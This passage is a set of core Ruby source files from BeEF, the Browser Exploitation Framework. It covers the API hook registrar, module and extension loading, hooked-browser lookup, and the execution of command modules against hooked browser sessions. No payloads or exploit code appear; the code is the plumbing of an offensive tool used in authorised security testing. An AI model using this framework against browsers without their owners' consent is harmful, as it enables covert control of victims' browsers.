Make sure they are .json files (any other file extension is ignored). |
|
Ruby | beef/core/api.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
#
# Registrar class to handle all registered timed API calls
#
class Registrar
include Singleton
#
# Create registrar
#
def initialize
@registry = []
@count = 1
end
# Register timed API calls to an owner
#
# @param [Class] owner the owner of the API hook
# @param [Class] clss the API class the owner would like to hook into
# @param [String] method the method of the class the owner would like to execute
# @param [Array] params an array of parameters that need to be matched before the owner will be called
#
def register(owner, clss, method, params = [])
unless verify_api_path(clss, method)
print_error "API Registrar: Attempted to register non-existant API method #{clss} :#{method}"
return
end
if registered?(owner, clss, method, params)
print_debug "API Registrar: Attempting to re-register API call #{clss} :#{method}"
return
end
id = @count
@registry << {
'id' => id,
'owner' => owner,
'class' => clss,
'method' => method,
'params' => params
}
@count += 1
id
end
#
# Tests whether the owner is registered for an API hook
#
# @param [Class] owner the owner of the API hook
# @param [Class] clss the API class
# @param [String] method the method of the class
# @param [Array] params an array of parameters that need to be matched
#
# @return [Boolean] whether or not the owner is registered
#
def registered?(owner, clss, method, params = [])
@registry.each do |r|
next unless r['owner'] == owner
next unless r['class'] == clss
next unless r['method'] == method
next unless is_matched_params? r, params
return true
end
false
end
#
# Match a timed API call to determine if an API.fire() is required
#
# @param [Class] clss the target API class
# @param [String] method the method of the target API class
# @param [Array] params an array of parameters that need to be matched
#
# @return [Boolean] whether or not the arguments match an entry in the API registry
#
def matched?(clss, method, params = [])
@registry.each do |r|
next unless r['class'] == clss
next unless r['method'] == method
next unless is_matched_params? r, params
return true
end
false
end
#
# Un-registers an API hook
#
# @param [Integer] id the ID of the API hook
#
def unregister(id)
@registry.delete_if { |r| r['id'] == id }
end
#
# Retrieves all the owners and ID's of an API hook
# @param [Class] clss the target API class
# @param [String] method the method of the target API class
# @param [Array] params an array of parameters that need to be matched
#
# @return [Array] an array of hashes consisting of two keys :owner and :id
#
def get_owners(clss, method, params = [])
owners = []
@registry.each do |r|
next unless r['class'] == clss
next unless r['method'] == method
next unless is_matched_params? r, params
owners << { owner: r['owner'], id: r['id'] }
end
owners
end
#
# Verifies that the api_path has been regitered
# Verifies the API path has been registered.
#
# @note This is a security precaution
#
# @param [Class] clss the target API class to verify
# @param [String] mthd the target method to verify
#
def verify_api_path(clss, mthd)
(clss.const_defined?('API_PATHS') && clss.const_get('API_PATHS').key?(mthd))
end
#
# Retrieves the registered symbol reference for an API hook
#
# @param [Class] clss the target API class to verify
# @param [String] mthd the target method to verify
#
# @return [Symbol] the API path
#
def get_api_path(clss, mthd)
verify_api_path(clss, mthd) ? clss.const_get('API_PATHS')[mthd] : nil
end
#
# Matches stored API params to params
#
# @note If a stored API parameter has a NilClass the parameter matching is skipped for that parameter
# @note By default this method returns true, this is either because the API.fire() did not include any parameters or there were no parameters defined for this registry entry
#
# @param [Hash] reg hash of registry element, must contain 'params' key
# @param [Array] params array of parameters to be compared to the stored parameters
#
# @return [Boolean] whether params matches the stored API parameters
#
def is_matched_params?(reg, params)
stored = reg['params']
return true unless stored.length == params.length
stored.each_index do |i|
next if stored[i].nil?
return false unless stored[i] == params[i]
end
true
end
#
# Fires all owners registered to this API hook
#
# @param [Class] clss the target API class
# @param [String] mthd the target API method
# @param [Array] *args parameters passed for the API call
#
# @return [Hash, NilClass] returns either a Hash of :api_id and :data
# if the owners return data, otherwise NilClass
#
def fire(clss, mthd, *args)
mods = get_owners(clss, mthd, args)
return nil unless mods.length.positive?
unless verify_api_path(clss, mthd) && clss.ancestors.first.to_s.start_with?('BeEF::API')
print_error "API Path not defined for Class: #{clss} method: #{mthd}"
return []
end
data = []
method = get_api_path(clss, mthd)
mods.each do |mod|
# Only used for API Development (very verbose)
# print_info "API: #{mod} fired #{method}"
result = mod[:owner].method(method).call(*args)
data << { api_id: mod[:id], data: result } unless result.nil?
rescue StandardError => e
print_error "API Fire Error: #{e.message} in #{mod}.#{method}()"
end
data
end
end
end
end
require 'core/api/module'
require 'core/api/modules'
require 'core/api/extension'
require 'core/api/extensions'
require 'core/api/main/migration'
require 'core/api/main/network_stack/assethandler'
require 'core/api/main/server'
require 'core/api/main/server/hook'
require 'core/api/main/configuration' |
Ruby | beef/core/bootstrap.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
end
end
## @note Include the BeEF router
require 'core/main/router/router'
require 'core/main/router/api'
## @note Include http server functions for beef
require 'core/main/server'
require 'core/main/handlers/modules/beefjs'
require 'core/main/handlers/modules/legacybeefjs'
require 'core/main/handlers/modules/multistagebeefjs'
require 'core/main/handlers/modules/command'
require 'core/main/handlers/commands'
require 'core/main/handlers/hookedbrowsers'
require 'core/main/handlers/browserdetails'
# @note Include the network stack
require 'core/main/network_stack/handlers/dynamicreconstruction'
require 'core/main/network_stack/handlers/redirector'
require 'core/main/network_stack/handlers/raw'
require 'core/main/network_stack/assethandler'
require 'core/main/network_stack/api'
# @note Include the autorun engine
require 'core/main/autorun_engine/parser'
require 'core/main/autorun_engine/engine'
require 'core/main/autorun_engine/rule_loader'
## @note Include helpers
require 'core/module'
require 'core/modules'
require 'core/extension'
require 'core/extensions'
require 'core/hbmanager'
## @note Include RESTful API
require 'core/main/rest/handlers/hookedbrowsers'
require 'core/main/rest/handlers/browserdetails'
require 'core/main/rest/handlers/modules'
require 'core/main/rest/handlers/categories'
require 'core/main/rest/handlers/logs'
require 'core/main/rest/handlers/admin'
require 'core/main/rest/handlers/server'
require 'core/main/rest/handlers/autorun_engine'
require 'core/main/rest/api'
## @note Include Websocket
require 'core/main/network_stack/websocket/websocket' |
Ruby | beef/core/core.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
end
end
# @note Includes database models - the order must be consistent otherwise DataMapper goes crazy
require 'core/main/model'
require 'core/main/models/commandmodule'
require 'core/main/models/hookedbrowser'
require 'core/main/models/log'
require 'core/main/models/command'
require 'core/main/models/result'
require 'core/main/models/optioncache'
require 'core/main/models/browserdetails'
require 'core/main/models/rule'
require 'core/main/models/execution'
require 'core/main/models/legacybrowseruseragents'
# @note Include the constants
require 'core/main/constants/browsers'
require 'core/main/constants/commandmodule'
require 'core/main/constants/os'
require 'core/main/constants/hardware'
# @note Include core modules for beef
require 'core/main/configuration'
require 'core/main/command'
require 'core/main/crypto'
require 'core/main/logger'
require 'core/main/migration'
require 'core/main/geoip'
# @note Include the command line parser and the banner printer
require 'core/main/console/commandline'
require 'core/main/console/banners' |
Ruby | beef/core/extension.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
# Checks to see if extension is set inside the configuration
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension exists in BeEF's configuration
def self.is_present(ext)
BeEF::Core::Configuration.instance.get('beef.extension').key? ext.to_s
end
# Checks to see if extension is enabled in configuration
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension is enabled
def self.is_enabled(ext)
return false unless is_present(ext)
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.enable") == true
end
# Checks to see if extension has been loaded
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension is loaded
def self.is_loaded(ext)
return false unless is_enabled(ext)
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.loaded") == true
end
# Loads an extension
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension loaded successfully
def self.load(ext)
if File.exist? "#{$root_dir}/extensions/#{ext}/extension.rb"
require "#{$root_dir}/extensions/#{ext}/extension.rb"
print_debug "Loaded extension: '#{ext}'"
BeEF::Core::Configuration.instance.set "beef.extension.#{ext}.loaded", true
return true
end
print_error "Unable to load extension '#{ext}'"
false
rescue StandardError => e
print_error "Unable to load extension '#{ext}':"
print_more e.message
end
end
end |
Ruby | beef/core/extensions.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extensions
# Returns configuration of all enabled extensions
# @return [Array] an array of extension configuration hashes that are enabled
def self.get_enabled
BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['enable'] == true }
rescue StandardError => e
print_error "Failed to get enabled extensions: #{e.message}"
print_error e.backtrace
end
# Returns configuration of all loaded extensions
# @return [Array] an array of extension configuration hashes that are loaded
def self.get_loaded
BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['loaded'] == true }
rescue StandardError => e
print_error "Failed to get loaded extensions: #{e.message}"
print_error e.backtrace
end
# Load all enabled extensions
# @note API fire for post_load
def self.load
BeEF::Core::Configuration.instance.load_extensions_config
get_enabled.each do |k, _v|
BeEF::Extension.load k
end
# API post extension load
BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load'
rescue StandardError => e
print_error "Failed to load extensions: #{e.message}"
print_error e.backtrace
end
end
end |
Ruby | beef/core/filters.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
end
end
# @note Include the filters
require 'core/filters/base'
require 'core/filters/browser'
require 'core/filters/command'
require 'core/filters/page'
require 'core/filters/http' |
Ruby | beef/core/hbmanager.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module HBManager
# Get hooked browser by session id
# @param [String] sid hooked browser session id string
# @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
def self.get_by_session(sid)
BeEF::Core::Models::HookedBrowser.where(session: sid).first
end
# Get hooked browser by id
# @param [Integer] id hooked browser database id
# @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
def self.get_by_id(id)
BeEF::Core::Models::HookedBrowser.find(id)
end
end
end |
Ruby | beef/core/loader.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# @note Include here all the gems we are using
require 'rubygems'
require 'bundler/setup'
# For some reason, on Ruby 2.5+, msgpack needs to be loaded first,
# else metasploit integration dies due to undefined `to_msgpack`.
# Works fine on Ruby 2.4
require 'msgpack'
Bundler.require(:default)
require 'cgi'
require 'yaml'
require 'singleton'
require 'ipaddr'
require 'base64'
require 'xmlrpc/client'
require 'openssl'
require 'eventmachine'
require 'thin'
require 'rack'
require 'em-websocket'
require 'uglifier'
require 'execjs'
require 'ansi'
require 'term/ansicolor'
require 'json'
require 'otr-activerecord'
require 'parseconfig'
require 'erubis'
require 'mime/types'
require 'optparse'
require 'resolv'
require 'digest'
require 'zip'
require 'logger'
# @note Logger
require 'core/logger'
# @note Include the filters
require 'core/filters'
# @note Include our patches for ruby and gems
require 'core/ruby'
# @note Include the API
require 'core/api'
# @note Include the settings
require 'core/settings'
# @note Include the core of BeEF
require 'core/core' |
Ruby | beef/core/logger.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
#
# @note log to file
#
module BeEF
class << self
attr_writer :logger
def logger
@logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log|
log.progname = name
log.level = Logger::WARN
end
end
end
end |
Ruby | beef/core/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Module
# Checks to see if module key is in configuration
# @param [String] mod module key
# @return [Boolean] if the module key exists in BeEF's configuration
def self.is_present(mod)
BeEF::Core::Configuration.instance.get('beef.module').key? mod.to_s
end
# Checks to see if module is enabled in configuration
# @param [String] mod module key
# @return [Boolean] if the module key is enabled in BeEF's configuration
def self.is_enabled(mod)
(is_present(mod) && BeEF::Core::Configuration.instance.get("beef.module.#{mod}.enable") == true)
end
# Checks to see if the module reports that it has loaded through the configuration
# @param [String] mod module key
# @return [Boolean] if the module key is loaded in BeEF's configuration
def self.is_loaded(mod)
(is_enabled(mod) && BeEF::Core::Configuration.instance.get("beef.module.#{mod}.loaded") == true)
end
# Returns module class definition
# @param [String] mod module key
# @return [Class] the module class
def self.get_definition(mod)
BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{mod}.class"))
end
# Gets all module options
# @param [String] mod module key
# @return [Hash] a hash of all the module options
# @note API Fire: get_options
def self.get_options(mod)
if BeEF::API::Registrar.instance.matched? BeEF::API::Module, 'get_options', [mod]
options = BeEF::API::Registrar.instance.fire BeEF::API::Module, 'get_options', mod
mo = []
options.each do |o|
unless o[:data].is_a?(Array)
print_debug 'API Warning: return result for BeEF::Module.get_options() was not an array.'
next
end
mo += o[:data]
end
return mo
end
unless check_hard_load mod
print_debug "get_opts called on unloaded module '#{mod}'"
return []
end
class_name = BeEF::Core::Configuration.instance.get "beef.module.#{mod}.class"
class_symbol = BeEF::Core::Command.const_get class_name
return [] unless class_symbol && class_symbol.respond_to?(:options)
class_symbol.options
end
# Gets all module payload options
# @param [String] mod module key
# @return [Hash] a hash of all the module options
# @note API Fire: get_options
def self.get_payload_options(mod, payload)
return [] unless BeEF::API::Registrar.instance.matched?(BeEF::API::Module, 'get_payload_options', [mod, nil])
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'get_payload_options', mod, payload)
end
# Soft loads a module
# @note A soft load consists of only loading the modules configuration (ie not the module.rb)
# @param [String] mod module key
# @return [Boolean] whether or not the soft load process was successful
# @note API Fire: pre_soft_load
# @note API Fire: post_soft_load
def self.soft_load(mod)
# API call for pre-soft-load module
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'pre_soft_load', mod)
config = BeEF::Core::Configuration.instance
mod_str = "beef.module.#{mod}"
if config.get("#{mod_str}.loaded")
print_error "Unable to load module '#{mod}'"
return false
end
mod_path = "#{$root_dir}/#{config.get("#{mod_str}.path")}/module.rb"
unless File.exist? mod_path
print_debug "Unable to locate module file: #{mod_path}"
return false
end
BeEF::Core::Configuration.instance.set("#{mod_str}.class", mod.capitalize)
parse_targets mod
print_debug "Soft Load module: '#{mod}'"
# API call for post-soft-load module
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_soft_load', mod)
true
rescue StandardError => e
print_error "There was a problem soft loading the module '#{mod}': #{e.message}"
false
end
# Hard loads a module
# @note A hard load consists of loading a pre-soft-loaded module by requiring the module.rb
# @param [String] mod module key
# @return [Boolean] whether or not the hard load was successful
# @note API Fire: pre_hard_load
# @note API Fire: post_hard_load
def self.hard_load(mod)
# API call for pre-hard-load module
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'pre_hard_load', mod)
config = BeEF::Core::Configuration.instance
unless is_enabled mod
print_error "Hard load attempted on module '#{mod}' that is not enabled."
return false
end
mod_str = "beef.module.#{mod}"
mod_path = "#{config.get("#{mod_str}.path")}/module.rb"
require mod_path
unless exists? config.get("#{mod_str}.class")
print_error "Hard loaded module '#{mod}' but the class BeEF::Core::Commands::#{mod.capitalize} does not exist"
return false
end
# start server mount point
BeEF::Core::Server.instance.mount("/command/#{mod}.js", BeEF::Core::Handlers::Commands, mod)
BeEF::Core::Configuration.instance.set("#{mod_str}.mount", "/command/#{mod}.js")
BeEF::Core::Configuration.instance.set("#{mod_str}.loaded", true)
print_debug "Hard Load module: '#{mod}'"
# API call for post-hard-load module
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_hard_load', mod)
true
rescue StandardError => e
BeEF::Core::Configuration.instance.set("#{mod_str}.loaded", false)
print_error "There was a problem loading the module '#{mod}'"
print_debug "Hard load module syntax error: #{e}"
false
end
# Checks to see if a module has been hard loaded, if not a hard load is attempted
# @param [String] mod module key
# @return [Boolean] if already hard loaded then true otherwise (see #hard_load)
def self.check_hard_load(mod)
return true if is_loaded mod
hard_load mod
end
# Get module key by database ID
# @param [Integer] id module database ID
# @return [String] module key
def self.get_key_by_database_id(id)
ret = BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v|
v.key?('db') && v['db']['id'].to_i == id.to_i
end
ret.is_a?(Array) ? ret.first.first : ret.keys.first
end
# Get module key by module class
# @param [Class] c module class
# @return [String] module key
def self.get_key_by_class(c)
ret = BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v|
v.key?('class') && v['class'].to_s.eql?(c.to_s)
end
ret.is_a?(Array) ? ret.first.first : ret.keys.first
end
# Checks to see if module class exists
# @param [String] mod module key
# @return [Boolean] returns whether or not the class exists
def self.exists?(mod)
kclass = BeEF::Core::Command.const_get mod.capitalize
kclass.is_a? Class
rescue NameError
false
end
# Checks target configuration to see if browser / version / operating system is supported
# @param [String] mod module key
# @param [Hash] opts hash of module support information
# @return [Constant, nil] returns a resulting defined constant BeEF::Core::Constants::CommandModule::*
# @note Support uses a rating system to provide the most accurate results.
# 1 = All match. ie: All was defined.
# 2 = String match. ie: Firefox was defined as working.
# 3 = Hash match. ie: Firefox defined with 1 additional parameter (eg max_ver).
# 4+ = As above but with extra parameters.
# Please note this rating system has no correlation to the return constant value BeEF::Core::Constants::CommandModule::*
def self.support(mod, opts)
target_config = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.target")
return nil unless target_config
return nil unless opts.is_a? Hash
unless opts.key? 'browser'
print_error 'BeEF::Module.support() was passed a hash without a valid browser constant'
return nil
end
results = []
target_config.each do |k, m|
m.each do |v|
case v
when String
if opts['browser'] == v
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
# rating += 1
# end
results << { 'rating' => 2, 'const' => k }
end
when Hash
break if opts['browser'] != v.keys.first && v.keys.first != BeEF::Core::Constants::Browsers::ALL
subv = v[v.keys.first]
rating = 1
# version check
if opts.key?('ver')
if subv.key?('min_ver')
break unless subv['min_ver'].is_a?(Integer) && opts['ver'].to_i >= subv['min_ver']
rating += 1
end
if subv.key?('max_ver')
break unless (subv['max_ver'].is_a?(Integer) && opts['ver'].to_i <= subv['max_ver']) || subv['max_ver'] == 'latest'
rating += 1
end
end
# os check
if opts.key?('os') && subv.key?('os')
match = false
opts['os'].each do |o|
case subv['os']
when String
if o == subv['os']
rating += 1
match = true
elsif subv['os'].eql? BeEF::Core::Constants::Os::OS_ALL_UA_STR
match = true
end
when Array
subv['os'].each do |p|
if o == p
rating += 1
match = true
elsif p.eql? BeEF::Core::Constants::Os::OS_ALL_UA_STR
match = true
end
end
end
end
break unless match
end
if rating.positive?
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
# rating += 1
# end
results << { 'rating' => rating, 'const' => k }
end
end
next unless v.eql? BeEF::Core::Constants::Browsers::ALL
rating = 1
rating = 1 if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
results << { 'rating' => rating, 'const' => k }
end
end
return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN unless results.count.positive?
result = {}
results.each do |r|
result = { 'rating' => r['rating'], 'const' => r['const'] } if result == {} || r['rating'] > result['rating']
end
result['const']
end
# Translates module target configuration
# @note Takes the user defined target configuration and replaces it with equivalent a constant based generated version
# @param [String] mod module key
def self.parse_targets(mod)
mod_str = "beef.module.#{mod}"
target_config = BeEF::Core::Configuration.instance.get("#{mod_str}.target")
return unless target_config
targets = {}
target_config.each do |k, v|
next unless BeEF::Core::Constants::CommandModule.const_defined? "VERIFIED_#{k.upcase}"
key = BeEF::Core::Constants::CommandModule.const_get "VERIFIED_#{k.upcase}"
targets[key] = [] unless targets.key? key
browser = nil
case v
when String
browser = match_target_browser v
targets[key] << browser if browser
when Array
v.each do |c|
browser = match_target_browser c
targets[key] << browser if browser
end
when Hash
v.each do |k, c|
browser = match_target_browser k
next unless browser
case c
when TrueClass
targets[key] << browser
when Hash
details = match_target_browser_spec c
targets[key] << { browser => details } if details
end
end
end
rescue NameError
print_error "Module '#{mod}' configuration has invalid target status defined '#{k}'"
end
BeEF::Core::Configuration.instance.clear "#{mod_str}.target"
BeEF::Core::Configuration.instance.set "#{mod_str}.target", targets
end
# Translates simple browser target configuration
# @note Takes a user defined browser type and translates it into a BeEF constant
# @param [String] v user defined browser
# @return [Constant] a BeEF browser constant
def self.match_target_browser(v)
unless v.instance_of?(String)
print_error 'Invalid datatype passed to BeEF::Module.match_target_browser()'
return false
end
return false unless BeEF::Core::Constants::Browsers.const_defined? v.upcase
BeEF::Core::Constants::Browsers.const_get v.upcase
rescue NameError
print_error "Could not identify browser target specified as '#{v}'"
false
end
# Translates complex browser target configuration
# @note Takes a complex user defined browser hash and converts it to applicable BeEF constants
# @param [Hash] v user defined browser hash
# @return [Hash] BeEF constants hash
def self.match_target_browser_spec(v)
unless v.instance_of?(Hash)
print_error 'Invalid datatype passed to BeEF::Module.match_target_browser_spec()'
return {}
end
browser = {}
browser['max_ver'] = v['max_ver'] if v.key?('max_ver') && (v['max_ver'].is_a?(Integer) || v['max_ver'].is_a?(Float) || v['max_ver'] == 'latest')
browser['min_ver'] = v['min_ver'] if v.key?('min_ver') && (v['min_ver'].is_a?(Integer) || v['min_ver'].is_a?(Float))
return browser unless v.key?('os')
case v['os']
when String
os = match_target_os v['os']
browser['os'] = os if os
when Array
browser['os'] = []
v['os'].each do |c|
os = match_target_os c
browser['os'] << os if os
end
end
browser
end
# Translates simple OS target configuration
# @note Takes user defined OS specification and translates it into BeEF constants
# @param [String] v user defined OS string
# @return [Constant] BeEF OS Constant
def self.match_target_os(v)
unless v.instance_of?(String)
print_error 'Invalid datatype passed to BeEF::Module.match_target_os()'
return false
end
return false unless BeEF::Core::Constants::Os.const_defined? "OS_#{v.upcase}_UA_STR"
BeEF::Core::Constants::Os.const_get "OS_#{v.upcase}_UA_STR"
rescue NameError
print_error "Could not identify OS target specified as '#{v}'"
false
end
# Executes a module
# @param [String] mod module key
# @param [String] hbsession hooked browser session
# @param [Array] opts array of module execute options (see #get_options)
# @return [Integer] the command_id associated to the module execution when info is persisted. nil if there are errors.
# @note The return value of this function does not specify if the module was successful, only that it was executed within the framework
def self.execute(mod, hbsession, opts = [])
unless is_present(mod) && is_enabled(mod)
print_error "Module not found '#{mod}'. Failed to execute module."
return nil
end
if BeEF::API::Registrar.instance.matched? BeEF::API::Module, 'override_execute', [mod, nil, nil]
BeEF::API::Registrar.instance.fire BeEF::API::Module, 'override_execute', mod, hbsession, opts
# @note We return not_nil by default as we cannot determine the correct status if multiple API hooks have been called
# @note using metasploit, we cannot know if the module execution was successful or not
return 'not_available'
end
hb = BeEF::HBManager.get_by_session hbsession
unless hb
print_error "Could not find hooked browser when attempting to execute module '#{mod}'"
return nil
end
check_hard_load mod
command_module = get_definition(mod).new(mod)
command_module.pre_execute if command_module.respond_to?(:pre_execute)
merge_options(mod, [])
c = BeEF::Core::Models::Command.create(
data: merge_options(mod, opts).to_json,
hooked_browser_id: hb.id,
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
creationdate: Time.new.to_i
)
c.id
end
# Merges default module options with array of custom options
# @param [String] mod module key
# @param [Hash] opts module options customised by user input
# @return [Hash, nil] returns merged options
def self.merge_options(mod, opts)
return nil unless is_present mod
check_hard_load mod
merged = []
defaults = get_options mod
defaults.each do |v|
mer = nil
opts.each do |o|
mer = v.deep_merge o if v.key?('name') && o.key?('name') && v['name'] == o['name']
end
mer.nil? ? merged.push(v) : merged.push(mer)
end
merged
end
end
end |
Ruby | beef/core/modules.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Modules
# Return configuration hashes of all modules that are enabled
# @return [Array] configuration hashes of all enabled modules
def self.get_enabled
BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v|
v['enable'] == true && !v['category'].nil?
end
end
# Return configuration hashes of all modules that are loaded
# @return [Array] configuration hashes of all loaded modules
def self.get_loaded
BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v|
v['loaded'] == true
end
end
# Return an array of categories specified in module configuration files
# @return [Array] all available module categories sorted alphabetically
def self.get_categories
categories = []
BeEF::Core::Configuration.instance.get('beef.module').each_value do |v|
flatcategory = ''
if v['category'].is_a?(Array)
# Therefore this module has nested categories (sub-folders),
# munge them together into a string with '/' characters, like a folder.
v['category'].each do |cat|
flatcategory << "#{cat}/"
end
else
flatcategory = v['category']
end
categories << flatcategory unless categories.include? flatcategory
end
# This is now uniqued, because otherwise the recursive function to build
# the json tree breaks if there are duplicates.
categories.sort.uniq
end
# Get all modules currently stored in the database
# @return [Array] DataMapper array of all BeEF::Core::Models::CommandModule's in the database
def self.get_stored_in_db
BeEF::Core::Models::CommandModule.all.order(:id)
end
# Loads all enabled modules
# @note API Fire: post_soft_load
def self.load
BeEF::Core::Configuration.instance.load_modules_config
get_enabled.each_key do |k|
BeEF::Module.soft_load k
end
BeEF::API::Registrar.instance.fire BeEF::API::Modules, 'post_soft_load'
end
end
end |
Ruby | beef/core/ruby.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# @note Patching Ruby Security
require 'core/ruby/security'
# @note Patching Ruby
require 'core/ruby/module'
require 'core/ruby/string'
require 'core/ruby/print'
require 'core/ruby/hash' |
Ruby | beef/core/settings.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Settings
# Checks if an extension exists in the framework.
# @param [String] beef_extension extension class
# @return [Boolean] if the extension exists
# @deprecated Use #{BeEF::Extension.is_present()} instead of this method.
# This method bypasses the configuration system.
def self.extension_exists?(beef_extension)
BeEF::Extension.const_defined?(beef_extension)
end
# Checks to see if the console extensions has been loaded
# @return [Boolean] if the console extension has been loaded
# @deprecated Use #{BeEF::Extension.is_loaded()} instead of this method.
# This method bypasses the configuration system.
def self.console?
extension_exists?('Console')
end
end
end |
Ruby | beef/core/api/extension.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Extension
attr_reader :full_name, :short_name, :description
@full_name = ''
@short_name = ''
@description = ''
end
end
end |
Ruby | beef/core/api/extensions.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Extensions
# @note Defined API Paths
API_PATHS = {
'post_load' => :post_load
}.freeze
# API hook fired after all extensions have been loaded
def post_load; end
end
end
end |
Ruby | beef/core/api/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Command
end
module Module
# @note Defined API Paths
API_PATHS = {
'pre_soft_load' => :pre_soft_load,
'post_soft_load' => :post_soft_load,
'pre_hard_load' => :pre_hard_load,
'post_hard_load' => :post_hard_load,
'get_options' => :get_options,
'get_payload_options' => :get_payload_options,
'override_execute' => :override_execute
}.freeze
# Fired before a module soft load
# @param [String] mod module key of module about to be soft loaded
def pre_soft_load(mod); end
# Fired after module soft load
# @param [String] mod module key of module just after soft load
def post_soft_load(mod); end
# Fired before a module hard load
# @param [String] mod module key of module about to be hard loaded
def pre_hard_load(mod); end
# Fired after module hard load
# @param [String] mod module key of module just after hard load
def post_hard_load(mod); end
# Fired before standard module options are returned
# @return [Hash] a hash of options
# @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned.
def get_options; end
# Fired just before a module is executed
# @param [String] mod module key
# @param [String] hbsession hooked browser session id
# @param [Hash] opts a Hash of options
# @note Hooking this API method stops the default flow of the Module.execute() method.
def override_execute(mod, hbsession, opts); end
# Fired when retreiving dynamic payload
# @return [Hash] a hash of options
# @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned.
def get_payload_options; end
end
end
end |
Ruby | beef/core/api/modules.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Modules
# @note Defined API Paths
API_PATHS = {
'post_soft_load' => :post_soft_load
}.freeze
# Fires just after all modules are soft loaded
def post_soft_load; end
end
end
end |
Ruby | beef/core/api/main/configuration.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Configuration
# @note Defined API Paths
API_PATHS = {
'module_configuration_load' => :module_configuration_load
}.freeze
# Fires just after module configuration is loaded and merged
# @param [String] mod module key
def module_configuration_load(mod); end
end
end
end |
Ruby | beef/core/api/main/migration.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Migration
# @note Defined API Paths
API_PATHS = {
'migrate_commands' => :migrate_commands
}.freeze
# Fired just after the migration process
def migrate_commands; end
end
end
end |
Ruby | beef/core/api/main/server.rb | #
